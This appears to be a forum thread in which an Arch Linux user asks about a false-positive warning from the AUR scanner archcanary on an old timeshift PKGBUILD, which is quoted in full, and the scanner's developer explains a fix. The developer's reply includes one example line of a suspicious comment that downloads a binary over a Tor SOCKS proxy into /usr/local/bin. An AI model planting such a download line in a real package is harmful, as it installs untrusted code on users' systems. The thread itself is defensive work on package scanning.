Well, I wish I knew how to react to this “infection” report.
The instructions are hard for me to grasp. What’s more, timeshift is in the extra repo, not yay.
And I’ve not gotten any warnings previously using archcanary (before uninstalling the original and reinstalling via yay just this morning.
So perhaps I really did somehow pick up an infected PKGBUILD file? If so, it would be puzzling as to how that could have happened.
Just a new kind of false negative?
WARNING: non-interactive pacman call in /home/ejm/.cache/yay/timeshift/src/timeshift/archlinux/PKGBUILD:53
# sudo pacman -U --noconfirm ./${pkgname}-20.08.3-1-x86_64.pkg.tar.zst
pacman can't safely re-enter itself mid-transaction -- a real
.install usage is a read-only query, never a mutating -S/-R with
--noconfirm.
Before rebuilding: diff what's flagged above against a fresh clone of
the same AUR package — don't delete this cache first, you need it to
compare against. Still there upstream? Don't build it. Already gone
upstream? Your local cache was just stale — safe to delete and re-fetch.
If this holds up, report it so others are protected too:
archcanary: https://github.com/musqz/archcanary/issues/new?template=report-package.yml
Arch AUR: https://lists.archlinux.org/archives/list/aur-general@lists.archlinux.org/
I’m still unclear why there’s a /home/ejm/.cache/yay/timeshift/src/timeshift/archlinux/PKGBUILD file in the first place since timeshift is from the extra repo. [FWIW, the datestamp on this PKGBUILD is from July 2023, so perhaps it was from the AUR back then?]
Here it is:
# Maintainer: Tony George teejeetech at gmail dot com
set -u
rm -rf *.pkg.tar*
if ! [ -d src ]; then
rsync -avh --delete --exclude=.git --exclude=archlinux --exclude=debian --exclude=release ../ src/
fi
pkgname='timeshift'
pkgver="$(cd .. && dpkg-parsechangelog --show-field Version)"
pkgrel='1'
pkgdesc='System restore tool for Linux'
arch=('i686' 'x86_64' 'armv7h' 'aarch64')
license=('gplv2')
# required for build and run
depends=('libgee>=0.18.0' 'libsoup' 'json-glib' 'desktop-file-utils' 'vte3' 'rsync')
# required for build
# dpkg is needed to parse version string
makedepends=('vala' 'dpkg' 'diffutils' 'coreutils')
optdepends=(
'cronie: scheduling'
)
_srcdir=./
source=()
prepare() {
set -u
cd "${_srcdir}"
set +u
}
build() {
set -u
make -C "${_srcdir}" -s -j1
set +u
}
package() {
set -u
make -C "${_srcdir}" -j1 DESTDIR="${pkgdir}" install
set +u
}
set +u
# (cd archlinux; makepkg )
# sudo pacman -U --noconfirm ./${pkgname}-20.08.3-1-x86_64.pkg.tar.zst
Indeed. Hard to see how a #comment could be dangerous
By pinging @made-lief here, I imagine we’ve reported it without any formalities.
Thanks for your prompt and knowledgeable reply.
Perhaps I should delete this yay .cache file since it’s currently installed from the extra repo anyhow - but will wait for @made-lief reaction in case he needs other relevant info.
That line looks like a comment (a build reminder left in the old AUR PKGBUILD).
The non-interactive-pacman check was matching commented-out lines, not just live code.
Fixed — it now skips a fully commented (#) line.
A commented line that’s never a legitimate note is still flagged, e.g.:
# curl -x socks5h://…onion… -o /usr/local/bin/x
so a payload hidden in a comment stays visible.
The fix is merged, ships in the next release. v0.1.33
Great - thanks for the quick fix. How to tell whether a comment would or wouldn’t be legitimate sounds like a challenging determination to make. But onward we go!
